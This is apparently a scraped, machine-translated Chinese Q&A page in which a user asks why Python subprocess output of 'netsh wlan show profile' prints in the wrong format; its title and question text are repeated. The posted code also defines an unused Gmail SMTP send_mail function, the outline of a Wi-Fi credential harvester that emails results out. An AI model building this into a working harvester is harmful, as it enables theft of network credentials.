代码的输出不是正确的shell格式,我正在使用Python3.9并使用子流程模块运行命令行
代码的输出不是很好的格式,我已经添加了代码和输出图像的链接,第一个图像是我得到的输出,第二个链接是我在windows中使用python 3.9解释器所需的输出 输出我得到了正确的结果,但格式不正确: ,,,,, 通过直接在命令行中运行命令以正确格式输出:代码的输出不是正确的shell格式,我正在使用Python3.9并使用子流程模块运行命令行,python,Python,代码的输出不是很好的格式,我已经添加了代码和输出图像的链接,第一个图像是我得到的输出,第二个链接是我在windows中使用python 3.9解释器所需的输出 输出我得到了正确的结果,但格式不正确: ,,,,, 通过直接在命令行中运行命令以正确格式输出: #!/usr/bin/env python import subprocess, smtplib, re def send_mail(email, password, result): server = smtplib.SMTP(
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, result):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, result)
server.quit()
command = "netsh wlan show profile"
result = subprocess.check_output(command, shell=True)
print(result)
链接在哪里?试试这个:
result=str(subprocess.check_output(command,shell=True))
Hi,问题到底是什么?